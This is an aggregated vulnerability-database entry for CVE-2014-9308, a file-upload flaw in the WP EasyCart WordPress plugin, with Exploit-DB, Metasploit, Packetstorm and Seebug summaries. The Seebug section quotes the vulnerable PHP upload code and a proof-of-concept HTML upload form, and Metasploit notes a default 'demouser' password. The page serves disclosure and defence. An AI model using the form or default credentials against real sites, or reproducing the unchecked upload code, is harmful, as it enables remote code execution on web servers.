Vulnerabilities > CVE-2014-9308 - Unspecified vulnerability in Wpeasycart WP Easycart
Attack vector
UNKNOWN Attack complexity
UNKNOWN Privileges required
UNKNOWN Confidentiality impact
UNKNOWN Integrity impact
UNKNOWN Availability impact
UNKNOWN Summary
Unrestricted file upload vulnerability in inc/amfphp/administration/banneruploaderscript.php in the WP EasyCart (aka WordPress Shopping Cart) plugin before 3.0.9 allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in products/banners/.
Vulnerable Configurations
Exploit-Db
description WordPress Shopping Cart 3.0.4 - Unrestricted File Upload. CVE-2014-9308. Webapps exploit for php platform file exploits/php/webapps/35730.html id EDB-ID:35730 last seen 2016-02-04 modified 2015-01-08 platform php port 80 published 2015-01-08 reporter Kacper Szurek source https://www.exploit-db.com/download/35730/ title WordPress Shopping Cart 3.0.4 - Unrestricted File Upload type webapps description WordPress WP EasyCart Unrestricted File Upload. CVE-2014-9308. Webapps exploit for php platform id EDB-ID:36043 last seen 2016-02-04 modified 2015-02-10 published 2015-02-10 reporter metasploit source https://www.exploit-db.com/download/36043/ title WordPress WP EasyCart - Unrestricted File Upload
Metasploit
| description | WordPress Shopping Cart (WP EasyCart) Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the /inc/amfphp/administration/banneruploaderscript.php script does not properly verify or sanitize user-uploaded files. By uploading a .php file, the remote system will place the file in a user-accessible path. Making a direct request to the uploaded file will allow the attacker to execute the script with the privileges of the web server. In versions <= 3.0.8 authentication can be done by using the WordPress credentials of a user with any role. In later versions, a valid EasyCart admin password will be required that is in use by any admin user. A default installation of EasyCart will setup a user called "demouser" with a preset password of "demouser". |
| id | MSF:EXPLOIT/UNIX/WEBAPP/WP_EASYCART_UNRESTRICTED_FILE_UPLOAD |
| last seen | 2020-06-05 |
| modified | 2018-10-01 |
| published | 2015-01-10 |
| references | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9308 |
| reporter | Rapid7 |
| source | https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb |
| title | WordPress WP EasyCart Unrestricted File Upload |
Packetstorm
| data source | https://packetstormsecurity.com/files/download/129875/wpshoppingcart-shell.txt |
| id | PACKETSTORM:129875 |
| last seen | 2016-12-05 |
| published | 2015-01-09 |
| reporter | Kacper Szurek |
| source | https://packetstormsecurity.com/files/129875/WordPress-Shopping-Cart-3.0.4-Unrestricted-File-Upload.html |
| title | WordPress Shopping Cart 3.0.4 Unrestricted File Upload |
Seebug
| bulletinFamily | exploit |
| description | <p># 受影响版本: WordPress Shopping Cart 3.0.4 </p><p># 日期: 29-10-2014</p><p># 软件链接: <a href="https://wordpress.org/plugins/wp-easycart/" rel="nofollow">https://wordpress.org/plugins/wp-easycart/</a></p><p># CVE: CVE-2014-9308</p><p># 类别: 应用程序</p><p>漏洞详情：</p><p>任何注册用户都可以上传任何文件。<br></p><p>上传点: wp-easycart\inc\amfphp\administration\banneruploaderscript.php<br></p><p>$date = $_POST['datemd5'];</p><p>$usersqlquery = sprintf("SELECT ec_user.*, ec_role.admin_access FROM ec_user LEFT JOIN ec_role ON (ec_user.user_level = ec_role.role_label) WHERE ec_user.password = '%s' AND (ec_user.user_level = 'admin' OR ec_role.admin_access = 1)", mysql_real_escape_string($requestID));</p><p>$userresult = mysql_query($usersqlquery);</p><p>$users = mysql_fetch_assoc($userresult);</p><p>if ($users || is_user_logged_in()) {</p><p> $filename = $_FILES['Filedata']['name'];</p><p> $filetmpname = $_FILES['Filedata']['tmp_name'];</p><p> $fileType = $_FILES["Filedata"]["type"];</p><p> $fileSizeMB = ($_FILES["Filedata"]["size"] / 1024 / 1000);</p><p> $explodedfilename = pathinfo($filename);</p><p> $nameoffile = $explodedfilename['filename'];</p><p> $fileextension = $explodedfilename['extension'];</p><p> move_uploaded_file($_FILES['Filedata']['tmp_name'], "../../../products/banners/".$nameoffile."_".$date.".".$fileextension);</p><p>}</p> 验证： Login as regular user (created using wp-login.php?action=register): <form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="datemd5" value="1"> <input type="file" name="Filedata"> <input value="Upload!" type="submit"> </form> File will be visible: http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension% |
| id | SSV:89276 |
| last seen | 2017-11-19 |
| modified | 2015-08-31 |
| published | 2015-08-31 |
| source | https://www.seebug.org/vuldb/ssvid-89276 |
| title | WordPress Shopping Cart 3.0.4 --任意文件上传 |
References
- http://osvdb.org/show/osvdb/116806
- http://osvdb.org/show/osvdb/116806
- http://packetstormsecurity.com/files/129875/WordPress-Shopping-Cart-3.0.4-Unrestricted-File-Upload.html
- http://packetstormsecurity.com/files/129875/WordPress-Shopping-Cart-3.0.4-Unrestricted-File-Upload.html
- http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html
- http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html
- http://www.exploit-db.com/exploits/35730
- http://www.exploit-db.com/exploits/35730
- http://www.securityfocus.com/bid/71983
- http://www.securityfocus.com/bid/71983
- https://wordpress.org/plugins/wp-easycart/changelog/
- https://wordpress.org/plugins/wp-easycart/changelog/